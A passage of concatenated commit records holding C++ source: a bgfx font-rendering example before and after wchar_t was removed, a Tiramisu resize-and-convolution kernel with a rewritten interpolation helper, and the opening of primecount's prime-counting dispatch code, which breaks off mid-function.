are submitted to view 0.\n\t\t\tbgfx::touch(0);\n\n\t\t\tint64_t now = bx::getHPCounter();\n\t\t\tstatic int64_t last = now;\n\t\t\tconst int64_t frameTime = now - last;\n\t\t\tlast = now;\n\t\t\tconst double freq = double(bx::getHPFrequency() );\n\t\t\tconst double toMs = 1000.0 \/ freq;\n\n\t\t\t\/\/ Use transient text to display debug information.\n\t\t\twchar_t fpsText[64];\n\t\t\tbx::swnprintf(fpsText, BX_COUNTOF(fpsText), L\"Frame: % 7.3f[ms]\", double(frameTime) * toMs);\n\n\t\t\tm_textBufferManager->clearTextBuffer(m_transientText);\n\t\t\tm_textBufferManager->setPenPosition(m_transientText, m_width - 150.0f, 10.0f);\n\t\t\tm_textBufferManager->appendText(m_transientText, m_visitor10, L\"Transient\\n\");\n\t\t\tm_textBufferManager->appendText(m_transientText, m_visitor10, L\"text buffer\\n\");\n\t\t\tm_textBufferManager->appendText(m_transientText, m_visitor10, fpsText);\n\n\t\t\tfloat at[3] = { 0, 0, 0.0f };\n\t\t\tfloat eye[3] = { 0, 0, -1.0f };\n\n\t\t\tfloat view[16];\n\t\t\tbx::mtxLookAt(view, eye, at);\n\n\t\t\tconst float centering = 0.5f;\n\n\t\t\t\/\/ Setup a top-left ortho matrix for screen space drawing.\n\t\t\tconst bgfx::HMD* hmd = bgfx::getHMD();\n\t\t\tconst bgfx::Caps* caps = bgfx::getCaps();\n\t\t\tif (NULL != hmd\n\t\t\t&& 0 != (hmd->flags & BGFX_HMD_RENDERING) )\n\t\t\t{\n\t\t\t\tfloat proj[16];\n\t\t\t\tbx::mtxProj(proj, hmd->eye[0].fov, 0.1f, 100.0f, caps->homogeneousDepth);\n\n\t\t\t\tstatic float time = 0.0f;\n\t\t\t\ttime += 0.05f;\n\n\t\t\t\tconst float dist = 10.0f;\n\t\t\t\tconst float offset0 = -proj[8] + (hmd->eye[0].viewOffset[0] \/ dist * proj[0]);\n\t\t\t\tconst float offset1 = -proj[8] + (hmd->eye[1].viewOffset[0] \/ dist * proj[0]);\n\n\t\t\t\tfloat ortho[2][16];\n\t\t\t\tconst float offsetx = m_width\/2.0f;\n\t\t\t\tbx::mtxOrtho(\n\t\t\t\t\t ortho[0]\n\t\t\t\t\t, centering\n\t\t\t\t\t, offsetx + centering\n\t\t\t\t\t, m_height + centering\n\t\t\t\t\t, centering\n\t\t\t\t\t, -1.0f\n\t\t\t\t\t, 1.0f\n\t\t\t\t\t, offset0\n\t\t\t\t\t, caps->homogeneousDepth\n\t\t\t\t\t);\n\t\t\t\tbx::mtxOrtho(\n\t\t\t\t\t ortho[1]\n\t\t\t\t\t, centering\n\t\t\t\t\t, offsetx + centering\n\t\t\t\t\t, m_height + centering\n\t\t\t\t\t, centering\n\t\t\t\t\t, -1.0f\n\t\t\t\t\t, 1.0f\n\t\t\t\t\t, offset1\n\t\t\t\t\t, caps->homogeneousDepth\n\t\t\t\t\t);\n\t\t\t\tbgfx::setViewTransform(0, view, ortho[0], BGFX_VIEW_STEREO, ortho[1]);\n\t\t\t\tbgfx::setViewRect(0, 0, 0, hmd->width, hmd->height);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tfloat ortho[16];\n\t\t\t\tbx::mtxOrtho(\n\t\t\t\t\t ortho\n\t\t\t\t\t, centering\n\t\t\t\t\t, m_width + centering\n\t\t\t\t\t, m_height + centering\n\t\t\t\t\t, centering\n\t\t\t\t\t, 0.0f\n\t\t\t\t\t, 100.0f\n\t\t\t\t\t, 0.0f\n\t\t\t\t\t, caps->homogeneousDepth\n\t\t\t\t\t);\n\t\t\t\tbgfx::setViewTransform(0, view, ortho);\n\t\t\t\tbgfx::setViewRect(0, 0, 0, uint16_t(m_width), uint16_t(m_height) );\n\t\t\t}\n\n\t\t\t\/\/ Submit the debug text.\n\t\t\tm_textBufferManager->submitTextBuffer(m_transientText, 0);\n\n\t\t\t\/\/ Submit the static text.\n\t\t\tm_textBufferManager->submitTextBuffer(m_staticText, 0);\n\n\t\t\t\/\/ Advance to next frame. Rendering thread will be kicked to\n\t\t\t\/\/ process submitted rendering primitives.\n\t\t\tbgfx::frame();\n\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tentry::MouseState m_mouseState;\n\n\tuint32_t m_width;\n\tuint32_t m_height;\n\tuint32_t m_debug;\n\tuint32_t m_reset;\n\n\tFontManager* m_fontManager;\n\tTextBufferManager* m_textBufferManager;\n\n\tFontHandle m_visitor10;\n\tTrueTypeHandle m_fontAwesomeTtf;\n\tTrueTypeHandle m_fontKenneyTtf;\n\tFontHandle m_fontAwesome72;\n\tFontHandle m_fontKenney64;\n\tTrueTypeHandle m_visitorTtf;\n\n\tTextBufferHandle m_transientText;\n\tTextBufferHandle m_staticText;\n\n\tstatic const uint32_t numFonts = BX_COUNTOF(s_fontFilePath);\n\n\tTrueTypeHandle m_fontFiles[numFonts];\n\tFontHandle m_fonts[numFonts];\n};\n\n} \/\/ namespace\n\nENTRY_IMPLEMENT_MAIN(ExampleFont, \"10-font\", \"Use the font system to display text and styled text.\");\n<commit_msg>Removed use of wchar_t.<commit_after>\/*\n * Copyright 2013 Jeremie Roy. All rights reserved.\n * License: https:\/\/github.com\/bkaradzic\/bgfx#license-bsd-2-clause\n *\/\n\n#include \"common.h\"\n#include \"bgfx_utils.h\"\n\n#include <bx\/timer.h>\n#include <bx\/string.h>\n#include <bx\/math.h>\n\n#include \"font\/font_manager.h\"\n#include \"font\/text_buffer_manager.h\"\n#include \"entry\/input.h\"\n\n#include <iconfontheaders\/icons_font_awesome.h>\n#include <iconfontheaders\/icons_kenney.h>\n\n#include <wchar.h>\n\n#include \"imgui\/imgui.h\"\n\nnamespace\n{\n\nTrueTypeHandle loadTtf(FontManager* _fm, const char* _filePath)\n{\n\tuint32_t size;\n\tvoid* data = load(_filePath, &size);\n\n\tif (NULL != data)\n\t{\n\t\tTrueTypeHandle handle = _fm->createTtf( (uint8_t*)data, size);\n\t\tBX_FREE(entry::getAllocator(), data);\n\t\treturn handle;\n\t}\n\n\tTrueTypeHandle invalid = BGFX_INVALID_HANDLE;\n\treturn invalid;\n}\n\nstatic const char* s_fontFilePath[] =\n{\n\t\"font\/droidsans.ttf\",\n\t\"font\/chp-fire.ttf\",\n\t\"font\/bleeding_cowboys.ttf\",\n\t\"font\/mias_scribblings.ttf\",\n\t\"font\/ruritania.ttf\",\n\t\"font\/signika-regular.ttf\",\n\t\"font\/five_minutes.otf\",\n};\n\nclass ExampleFont : public entry::AppI\n{\npublic:\n\tExampleFont(const char* _name, const char* _description)\n\t\t: entry::AppI(_name, _description)\n\t{\n\t}\n\n\tvoid init(int32_t _argc, const char* const* _argv, uint32_t _width, uint32_t _height) override\n\t{\n\t\tArgs args(_argc, _argv);\n\n\t\tm_width = _width;\n\t\tm_height = _height;\n\t\tm_debug = BGFX_DEBUG_NONE;\n\t\tm_reset = BGFX_RESET_VSYNC;\n\n\t\tbgfx::init(args.m_type, args.m_pciId);\n\t\tbgfx::reset(m_width, m_height, m_reset);\n\n\t\t\/\/ Enable debug text.\n\t\tbgfx::setDebug(m_debug);\n\n\t\t\/\/ Set view 0 clear state.\n\t\tbgfx::setViewClear(0\n\t\t\t\t\t\t , BGFX_CLEAR_COLOR | BGFX_CLEAR_DEPTH\n\t\t\t\t\t\t , 0x303030ff\n\t\t\t\t\t\t , 1.0f\n\t\t\t\t\t\t , 0\n\t\t\t\t\t\t );\n\n\t\t\/\/ Init the text rendering system.\n\t\tm_fontManager = new FontManager(512);\n\t\tm_textBufferManager = new TextBufferManager(m_fontManager);\n\n\t\t\/\/ Load some TTF files.\n\t\tfor (uint32_t ii = 0; ii < numFonts; ++ii)\n\t\t{\n\t\t\t\/\/ Instantiate a usable font.\n\t\t\tm_fontFiles[ii] = loadTtf(m_fontManager, s_fontFilePath[ii]);\n\t\t\tm_fonts[ii] = m_fontManager->createFontByPixelSize(m_fontFiles[ii], 0, 32);\n\n\t\t\t\/\/ Preload glyphs and blit them to atlas.\n\t\t\tm_fontManager->preloadGlyph(m_fonts[ii], L\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. \\n\");\n\n\t\t\t\/\/ You can unload the truetype files at this stage, but in that\n\t\t\t\/\/ case, the set of glyph's will be limited to the set of preloaded\n\t\t\t\/\/ glyph.\n\t\t\tm_fontManager->destroyTtf(m_fontFiles[ii]);\n\t\t}\n\n\t\tm_fontAwesomeTtf = loadTtf(m_fontManager, \"font\/fontawesome-webfont.ttf\");\n\t\tm_fontKenneyTtf = loadTtf(m_fontManager, \"font\/kenney-icon-font.ttf\");\n\n\t\t\/\/ This font doesn't have any preloaded glyph's but the truetype file\n\t\t\/\/ is loaded so glyph will be generated as needed.\n\t\tm_fontAwesome72 = m_fontManager->createFontByPixelSize(m_fontAwesomeTtf, 0, 72);\n\t\tm_fontKenney64 = m_fontManager->createFontByPixelSize(m_fontKenneyTtf, 0, 64);\n\n\t\tm_visitorTtf = loadTtf(m_fontManager, \"font\/visitor1.ttf\");\n\n\t\t\/\/ This font doesn't have any preloaded glyph's but the truetype file\n\t\t\/\/ is loaded so glyph will be generated as needed.\n\t\tm_visitor10 = m_fontManager->createFontByPixelSize(m_visitorTtf, 0, 10);\n\n\t\t\/\/create a static text buffer compatible with alpha font\n\t\t\/\/a static text buffer content cannot be modified after its first submit.\n\t\tm_staticText = m_textBufferManager->createTextBuffer(FONT_TYPE_ALPHA, BufferType::Static);\n\n\t\t\/\/ The pen position represent the top left of the box of the first line\n\t\t\/\/ of text.\n\t\tm_textBufferManager->setPenPosition(m_staticText, 24.0f, 100.0f);\n\n\t\tfor (uint32_t ii = 0; ii < numFonts; ++ii)\n\t\t{\n\t\t\t\/\/ Add some text to the buffer.\n\t\t\t\/\/ The position of the pen is adjusted when there is an endline.\n\t\t\tm_textBufferManager->appendText(m_staticText, m_fonts[ii], L\"The quick brown fox jumps over the lazy dog\\n\");\n\t\t}\n\n\t\t\/\/ Now write some styled text.\n\n\t\t\/\/ Setup style colors.\n\t\tm_textBufferManager->setBackgroundColor(m_staticText, 0x551111ff);\n\t\tm_textBufferManager->setUnderlineColor(m_staticText, 0xff2222ff);\n\t\tm_textBufferManager->setOverlineColor(m_staticText, 0x2222ffff);\n\t\tm_textBufferManager->setStrikeThroughColor(m_staticText, 0x22ff22ff);\n\n\t\t\/\/ Background.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_BACKGROUND);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"The quick \");\n\n\t\t\/\/ Strike-through.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_STRIKE_THROUGH);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"brown fox \");\n\n\t\t\/\/ Overline.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_OVERLINE);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"jumps over \");\n\n\t\t\/\/ Underline.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_UNDERLINE);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"the lazy \");\n\n\t\t\/\/ Background + strike-through.\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_BACKGROUND | STYLE_STRIKE_THROUGH);\n\t\tm_textBufferManager->appendText(m_staticText, m_fonts[0], L\"dog\\n\");\n\n\t\tm_textBufferManager->setStyle(m_staticText, STYLE_NORMAL);\n\t\tm_textBufferManager->appendText(m_staticText, m_fontAwesome72,\n\t\t\t\" \" ICON_FA_POWER_OFF\n\t\t\t\" \" ICON_FA_TWITTER_SQUARE\n\t\t\t\" \" ICON_FA_CERTIFICATE\n\t\t\t\" \" ICON_FA_FLOPPY_O\n\t\t\t\" \" ICON_FA_GITHUB\n\t\t\t\" \" ICON_FA_GITHUB_ALT\n\t\t\t\"\\n\"\n\t\t\t);\n\t\tm_textBufferManager->appendText(m_staticText, m_fontKenney64,\n\t\t\t\" \" ICON_KI_COMPUTER\n\t\t\t\" \" ICON_KI_JOYSTICK\n\t\t\t\" \" ICON_KI_EXLAMATION\n\t\t\t\" \" ICON_KI_STAR\n\t\t\t\" \" ICON_KI_BUTTON_START\n\t\t\t\" \" ICON_KI_DOWNLOAD\n\t\t\t\"\\n\"\n\t\t\t);\n\n\t\t\/\/ Create a transient buffer for real-time data.\n\t\tm_transientText = m_textBufferManager->createTextBuffer(FONT_TYPE_ALPHA, BufferType::Transient);\n\n\t\timguiCreate();\n\t}\n\n\tvirtual int shutdown() override\n\t{\n\t\timguiDestroy();\n\n\t\tm_fontManager->destroyTtf(m_fontKenneyTtf);\n\t\tm_fontManager->destroyTtf(m_fontAwesomeTtf);\n\t\tm_fontManager->destroyTtf(m_visitorTtf);\n\n\t\t\/\/ Destroy the fonts.\n\t\tm_fontManager->destroyFont(m_fontKenney64);\n\t\tm_fontManager->destroyFont(m_fontAwesome72);\n\t\tm_fontManager->destroyFont(m_visitor10);\n\t\tfor (uint32_t ii = 0; ii < numFonts; ++ii)\n\t\t{\n\t\t\tm_fontManager->destroyFont(m_fonts[ii]);\n\t\t}\n\n\t\tm_textBufferManager->destroyTextBuffer(m_staticText);\n\t\tm_textBufferManager->destroyTextBuffer(m_transientText);\n\n\t\tdelete m_textBufferManager;\n\t\tdelete m_fontManager;\n\n\t\t\/\/ Shutdown bgfx.\n\t\tbgfx::shutdown();\n\n\t\treturn 0;\n\t}\n\n\tbool update() override\n\t{\n\t\tif (!entry::processEvents(m_width, m_height, m_debug, m_reset, &m_mouseState) )\n\t\t{\n\t\t\timguiBeginFrame(m_mouseState.m_mx\n\t\t\t\t, m_mouseState.m_my\n\t\t\t\t, (m_mouseState.m_buttons[entry::MouseButton::Left ] ? IMGUI_MBUT_LEFT : 0)\n\t\t\t\t| (m_mouseState.m_buttons[entry::MouseButton::Right ] ? IMGUI_MBUT_RIGHT : 0)\n\t\t\t\t| (m_mouseState.m_buttons[entry::MouseButton::Middle] ? IMGUI_MBUT_MIDDLE : 0)\n\t\t\t\t, m_mouseState.m_mz\n\t\t\t\t, uint16_t(m_width)\n\t\t\t\t, uint16_t(m_height)\n\t\t\t\t);\n\n\t\t\tshowExampleDialog(this);\n\n\t\t\timguiEndFrame();\n\n\t\t\t\/\/ This dummy draw call is here to make sure that view 0 is cleared\n\t\t\t\/\/ if no other draw calls are submitted to view 0.\n\t\t\tbgfx::touch(0);\n\n\t\t\tint64_t now = bx::getHPCounter();\n\t\t\tstatic int64_t last = now;\n\t\t\tconst int64_t frameTime = now - last;\n\t\t\tlast = now;\n\t\t\tconst double freq = double(bx::getHPFrequency() );\n\t\t\tconst double toMs = 1000.0 \/ freq;\n\n\t\t\t\/\/ Use transient text to display debug information.\n\t\t\tchar fpsText[64];\n\t\t\tbx::snprintf(fpsText, BX_COUNTOF(fpsText), \"Frame: % 7.3f[ms]\", double(frameTime) * toMs);\n\n\t\t\tm_textBufferManager->clearTextBuffer(m_transientText);\n\t\t\tm_textBufferManager->setPenPosition(m_transientText, m_width - 150.0f, 10.0f);\n\t\t\tm_textBufferManager->appendText(m_transientText, m_visitor10, \"Transient\\n\");\n\t\t\tm_textBufferManager->appendText(m_transientText, m_visitor10, \"text buffer\\n\");\n\t\t\tm_textBufferManager->appendText(m_transientText, m_visitor10, fpsText);\n\n\t\t\tfloat at[3] = { 0, 0, 0.0f };\n\t\t\tfloat eye[3] = { 0, 0, -1.0f };\n\n\t\t\tfloat view[16];\n\t\t\tbx::mtxLookAt(view, eye, at);\n\n\t\t\tconst float centering = 0.5f;\n\n\t\t\t\/\/ Setup a top-left ortho matrix for screen space drawing.\n\t\t\tconst bgfx::HMD* hmd = bgfx::getHMD();\n\t\t\tconst bgfx::Caps* caps = bgfx::getCaps();\n\t\t\tif (NULL != hmd\n\t\t\t&& 0 != (hmd->flags & BGFX_HMD_RENDERING) )\n\t\t\t{\n\t\t\t\tfloat proj[16];\n\t\t\t\tbx::mtxProj(proj, hmd->eye[0].fov, 0.1f, 100.0f, caps->homogeneousDepth);\n\n\t\t\t\tstatic float time = 0.0f;\n\t\t\t\ttime += 0.05f;\n\n\t\t\t\tconst float dist = 10.0f;\n\t\t\t\tconst float offset0 = -proj[8] + (hmd->eye[0].viewOffset[0] \/ dist * proj[0]);\n\t\t\t\tconst float offset1 = -proj[8] + (hmd->eye[1].viewOffset[0] \/ dist * proj[0]);\n\n\t\t\t\tfloat ortho[2][16];\n\t\t\t\tconst float offsetx = m_width\/2.0f;\n\t\t\t\tbx::mtxOrtho(\n\t\t\t\t\t ortho[0]\n\t\t\t\t\t, centering\n\t\t\t\t\t, offsetx + centering\n\t\t\t\t\t, m_height + centering\n\t\t\t\t\t, centering\n\t\t\t\t\t, -1.0f\n\t\t\t\t\t, 1.0f\n\t\t\t\t\t, offset0\n\t\t\t\t\t, caps->homogeneousDepth\n\t\t\t\t\t);\n\t\t\t\tbx::mtxOrtho(\n\t\t\t\t\t ortho[1]\n\t\t\t\t\t, centering\n\t\t\t\t\t, offsetx + centering\n\t\t\t\t\t, m_height + centering\n\t\t\t\t\t, centering\n\t\t\t\t\t, -1.0f\n\t\t\t\t\t, 1.0f\n\t\t\t\t\t, offset1\n\t\t\t\t\t, caps->homogeneousDepth\n\t\t\t\t\t);\n\t\t\t\tbgfx::setViewTransform(0, view, ortho[0], BGFX_VIEW_STEREO, ortho[1]);\n\t\t\t\tbgfx::setViewRect(0, 0, 0, hmd->width, hmd->height);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tfloat ortho[16];\n\t\t\t\tbx::mtxOrtho(\n\t\t\t\t\t ortho\n\t\t\t\t\t, centering\n\t\t\t\t\t, m_width + centering\n\t\t\t\t\t, m_height + centering\n\t\t\t\t\t, centering\n\t\t\t\t\t, 0.0f\n\t\t\t\t\t, 100.0f\n\t\t\t\t\t, 0.0f\n\t\t\t\t\t, caps->homogeneousDepth\n\t\t\t\t\t);\n\t\t\t\tbgfx::setViewTransform(0, view, ortho);\n\t\t\t\tbgfx::setViewRect(0, 0, 0, uint16_t(m_width), uint16_t(m_height) );\n\t\t\t}\n\n\t\t\t\/\/ Submit the debug text.\n\t\t\tm_textBufferManager->submitTextBuffer(m_transientText, 0);\n\n\t\t\t\/\/ Submit the static text.\n\t\t\tm_textBufferManager->submitTextBuffer(m_staticText, 0);\n\n\t\t\t\/\/ Advance to next frame. Rendering thread will be kicked to\n\t\t\t\/\/ process submitted rendering primitives.\n\t\t\tbgfx::frame();\n\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tentry::MouseState m_mouseState;\n\n\tuint32_t m_width;\n\tuint32_t m_height;\n\tuint32_t m_debug;\n\tuint32_t m_reset;\n\n\tFontManager* m_fontManager;\n\tTextBufferManager* m_textBufferManager;\n\n\tFontHandle m_visitor10;\n\tTrueTypeHandle m_fontAwesomeTtf;\n\tTrueTypeHandle m_fontKenneyTtf;\n\tFontHandle m_fontAwesome72;\n\tFontHandle m_fontKenney64;\n\tTrueTypeHandle m_visitorTtf;\n\n\tTextBufferHandle m_transientText;\n\tTextBufferHandle m_staticText;\n\n\tstatic const uint32_t numFonts = BX_COUNTOF(s_fontFilePath);\n\n\tTrueTypeHandle m_fontFiles[numFonts];\n\tFontHandle m_fonts[numFonts];\n};\n\n} \/\/ namespace\n\nENTRY_IMPLEMENT_MAIN(ExampleFont, \"10-font\", \"Use the font system to display text and styled text.\");\n<|endoftext|>"} {"text":"<commit_before>#include <tiramisu\/tiramisu.h>\n#include \"configure.h\"\n\nusing namespace tiramisu;\n\nexpr mixf(expr x, expr y, expr a)\n{\n return x * (1 - a) + y * a;\n}\n\nint main()\n{\n init(\"resize_conv_block\");\n\n \/\/ -------------------------------------------------------\n \/\/ Layer I\n \/\/ -------------------------------------------------------\n var o_x(\"o_x\", 0, IMG_WIDTH), o_y(\"o_y\", 0, IMG_HEIGHT), fin(\"fin\", 0, FIn), n(\"n\", 0, BATCH_SIZE);\n var x(\"x\", 0, N), y(\"y\", 0, N);\n\n var x_pad(\"x_pad\", 0, N + 2), y_pad(\"y_pad\", 0, N + 2);\n var k_x(\"k_x\", 0, K_X), k_y(\"k_y\", 0, K_Y), fout(\"fout\", 0, FOut);\n\n var fout_b(\"fout_b\", 0, FOUT_NB_BLOCKS), ffout(\"ffout\", 0, FOUT_BLOCKING);\n\n input c_input(\"c_input\", {n, o_y, o_x, fin}, p_float32);\n input conv_filter(\"conv_filter\", {fout_b, k_y, k_x, fin, ffout}, p_float32);\n input conv_bias(\"conv_bias\", {fout_b, ffout}, p_float32);\n\n \/\/ Resize computation\n computation init_resized_input(\"init_resized_input\", {n, y_pad, x_pad, fin}, 0.f);\n\n expr o_r((cast(p_float32, y) + 0.5f) * (cast(p_float32, IMG_HEIGHT) \/ cast(p_float32, N)) - 0.5f);\n expr o_c((cast(p_float32, x) + 0.5f) * (cast(p_float32, IMG_WIDTH) \/ cast(p_float32, N)) - 0.5f);\n\n expr r_coeff(expr(o_r) - expr(o_floor, o_r));\n expr c_coeff(expr(o_c) - expr(o_floor, o_c));\n\n expr A00_r(cast(p_int32, expr(o_floor, o_r)));\n expr A00_c(cast(p_int32, expr(o_floor, o_c)));\n\n computation resize(\n \"resize\",\n {n, y, x, fin},\n mixf(\n mixf(\n c_input(n, A00_r, A00_c, fin), \n c_input(n, A00_r + 1, A00_c, fin), \n r_coeff\n ),\n\n mixf(\n c_input(n, A00_r, A00_c + 1, fin), \n c_input(n, A00_r + 1, A00_c + 1, fin), \n r_coeff\n ),\n \n c_coeff\n )\n );\n\n view input_resized(\"input_resized\", {n, y_pad, x_pad, fin}, p_float32);\n\n \/\/ Convolution computation\n computation init_output(\"init_output\", {n, fout_b, y, x, ffout}, conv_bias(fout_b, ffout));\n computation conv(\n \"conv\", \n {n, fout_b, y, x, k_y, k_x, fin, ffout}, \n init_output(n, fout_b, y, x, ffout) + input_resized(n, y + k_y, x + k_x, fin)*conv_filter(fout_b, k_y, k_x, fin, ffout)\n );\n \n \/\/ -------------------------------------------------------\n \/\/ Layer II\n \/\/ -------------------------------------------------------\n init_resized_input.then(resize, n)\n .then(init_output, n)\n .then(conv, x);\n\n resize.tag_unroll_level(fin);\n resize.vectorize(x, 8);\n \n conv.tag_unroll_level(fin);\n conv.vectorize(ffout, FOUT_BLOCKING);\n\n conv.tag_parallel_level(n);\n\n \/\/ -------------------------------------------------------\n \/\/ Layer III\n \/\/ -------------------------------------------------------\n buffer input_resized_buf(\"input_resized_buf\", {BATCH_SIZE, N + 2, N + 2, FIn}, p_float32, a_temporary);\n buffer output_buf(\"output_buf\", {BATCH_SIZE, FOUT_NB_BLOCKS, N, N, FOUT_BLOCKING}, p_float32, a_output);\n\n init_resized_input.store_in(&input_resized_buf);\n resize.store_in(&input_resized_buf, {n, y + 1, x + 1, fin});\n input_resized.store_in(&input_resized_buf);\n\n init_output.store_in(&output_buf);\n conv.store_in(&output_buf, {n, fout_b, y, x, ffout});\n\n \/\/ -------------------------------------------------------\n \/\/ Code Generation\n \/\/ -------------------------------------------------------\n codegen({\n c_input.get_buffer(),\n conv_filter.get_buffer(), \n conv_bias.get_buffer(), \n &output_buf\n }, \"resize_conv_tiramisu.o\");\n\n return 0;\n}\n<commit_msg>Resize-Conv : small edit to Tiramisu version<commit_after>#include <tiramisu\/tiramisu.h>\n#include \"configure.h\"\n\nusing namespace tiramisu;\n\nexpr mixf(expr x, expr y, expr a)\n{\n return x + (y - x) * a;\n}\n\nint main()\n{\n init(\"resize_conv_block\");\n\n \/\/ -------------------------------------------------------\n \/\/ Layer I\n \/\/ -------------------------------------------------------\n var o_x(\"o_x\", 0, IMG_WIDTH), o_y(\"o_y\", 0, IMG_HEIGHT), fin(\"fin\", 0, FIn), n(\"n\", 0, BATCH_SIZE);\n var x(\"x\", 0, N), y(\"y\", 0, N);\n\n var x_pad(\"x_pad\", 0, N + 2), y_pad(\"y_pad\", 0, N + 2);\n var k_x(\"k_x\", 0, K_X), k_y(\"k_y\", 0, K_Y), fout(\"fout\", 0, FOut);\n\n var fout_b(\"fout_b\", 0, FOUT_NB_BLOCKS), ffout(\"ffout\", 0, FOUT_BLOCKING);\n\n input c_input(\"c_input\", {n, o_y, o_x, fin}, p_float32);\n input conv_filter(\"conv_filter\", {fout_b, k_y, k_x, fin, ffout}, p_float32);\n input conv_bias(\"conv_bias\", {fout_b, ffout}, p_float32);\n\n \/\/ Resize computation\n computation init_resized_input(\"init_resized_input\", {n, y_pad, x_pad, fin}, 0.f);\n\n expr o_r((cast(p_float32, y) + 0.5f) * (cast(p_float32, IMG_HEIGHT) \/ cast(p_float32, N)) - 0.5f);\n expr o_c((cast(p_float32, x) + 0.5f) * (cast(p_float32, IMG_WIDTH) \/ cast(p_float32, N)) - 0.5f);\n\n expr r_coeff(expr(o_r) - expr(o_floor, o_r));\n expr c_coeff(expr(o_c) - expr(o_floor, o_c));\n\n expr A00_r(cast(p_int32, expr(o_floor, o_r)));\n expr A00_c(cast(p_int32, expr(o_floor, o_c)));\n\n computation resize(\n \"resize\",\n {n, y, x, fin},\n mixf(\n mixf(\n c_input(n, A00_r, A00_c, fin), \n c_input(n, A00_r + 1, A00_c, fin), \n r_coeff\n ),\n\n mixf(\n c_input(n, A00_r, A00_c + 1, fin), \n c_input(n, A00_r + 1, A00_c + 1, fin), \n r_coeff\n ),\n \n c_coeff\n )\n );\n\n view input_resized(\"input_resized\", {n, y_pad, x_pad, fin}, p_float32);\n\n \/\/ Convolution computation\n computation init_output(\"init_output\", {n, fout_b, y, x, ffout}, conv_bias(fout_b, ffout));\n computation conv(\n \"conv\", \n {n, fout_b, y, x, k_y, k_x, fin, ffout}, \n init_output(n, fout_b, y, x, ffout) + input_resized(n, y + k_y, x + k_x, fin)*conv_filter(fout_b, k_y, k_x, fin, ffout)\n );\n \n \/\/ -------------------------------------------------------\n \/\/ Layer II\n \/\/ -------------------------------------------------------\n init_resized_input.then(resize, n)\n .then(init_output, n)\n .then(conv, x);\n\n resize.tag_unroll_level(fin);\n resize.vectorize(x, 8);\n \n conv.tag_unroll_level(fin);\n conv.vectorize(ffout, FOUT_BLOCKING);\n\n conv.tag_parallel_level(n);\n\n \/\/ -------------------------------------------------------\n \/\/ Layer III\n \/\/ -------------------------------------------------------\n buffer input_resized_buf(\"input_resized_buf\", {BATCH_SIZE, N + 2, N + 2, FIn}, p_float32, a_temporary);\n buffer output_buf(\"output_buf\", {BATCH_SIZE, FOUT_NB_BLOCKS, N, N, FOUT_BLOCKING}, p_float32, a_output);\n\n init_resized_input.store_in(&input_resized_buf);\n resize.store_in(&input_resized_buf, {n, y + 1, x + 1, fin});\n input_resized.store_in(&input_resized_buf);\n\n init_output.store_in(&output_buf);\n conv.store_in(&output_buf, {n, fout_b, y, x, ffout});\n\n \/\/ -------------------------------------------------------\n \/\/ Code Generation\n \/\/ -------------------------------------------------------\n codegen({\n c_input.get_buffer(),\n conv_filter.get_buffer(), \n conv_bias.get_buffer(), \n &output_buf\n }, \"resize_conv_tiramisu.o\");\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file primecount.cpp\n\/\/\/ @brief Function definitions of primecount.hpp\n\/\/\/\n\/\/\/ Copyright (C) 2019 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount.hpp>\n#include <primecount-internal.hpp>\n#include <primesieve.hpp>\n#include <calculator.hpp>\n#include <int128_t.hpp>\n#include <imath.hpp>\n\n#include <algorithm>\n#include <chrono>\n#include <cmath>\n#include <limits>\n#include <sstream>\n#include <string>\n#include <stdint.h>\n\n#ifdef _OPENMP\n #include <omp.h>\n#endif\n\n#ifdef HAVE_MPI\n\n#include <mpi.h>\n\nnamespace primecount {\n\nint mpi_num_procs()\n{\n int procs;\n MPI_Comm_size(MPI_COMM_WORLD, &procs);\n return procs;\n}\n\nint mpi_proc_id()\n{\n int proc_id;\n MPI_Comm_rank(MPI_COMM_WORLD, &proc_id);\n return proc_id;\n}\n\nint mpi_master_proc_id()\n{\n return 0;\n}\n\nbool is_mpi_master_proc()\n{\n return mpi_proc_id() == mpi_master_proc_id();\n}\n\n} \/\/ namespace\n\n#endif\n\nusing namespace std;\n\nnamespace {\n\n#ifdef _OPENMP\n int threads_ = 0;\n#endif\n\n\/\/ Below 10^7 LMO is faster than Deleglise-Rivat\nconst int lmo_threshold_ = 10000000;\n\nint status_precision_ = -1;\n\n\/\/ Tuning factor used in the Lagarias-Miller-Odlyzko\n\/\/ and Deleglise-Rivat algorithms.\ndouble alpha_ = -1;\n\n\/\/ Tuning factor used in Xavier Gourdon's algorithm\ndouble alpha_y_ = -1;\n\n\/\/ Tuning factor used in Xavier Gourdon's algorithm\ndouble alpha_z_ = -1;\n\n}\n\nnamespace primecount {\n\nint64_t pi(int64_t x)\n{\n return pi(x, get_num_threads());\n}\n\nint64_t pi(int64_t x, int threads)\n{\n if (x <= lmo_threshold_)\n return pi_lmo5(x);\n else\n return pi_deleglise_rivat(x, threads);\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t pi(int128_t x)\n{\n return pi(x, get_num_threads());\n}\n\nint128_t pi(int128_t x, int threads)\n{\n \/\/ use 64-bit if possible\n if (x <= numeric_limits<int64_t>::max())\n return pi((int64_t) x, threads);\n else\n return pi_deleglise_rivat(x, threads);\n}\n\n#endif\n\nstring pi(const string& x)\n{\n return pi(x, get_num_threads());\n}\n\nstring pi(const string& x, int threads)\n{\n maxint_t pi_x = pi(to_maxint(x), threads);\n ostringstream oss;\n oss << pi_x;\n return 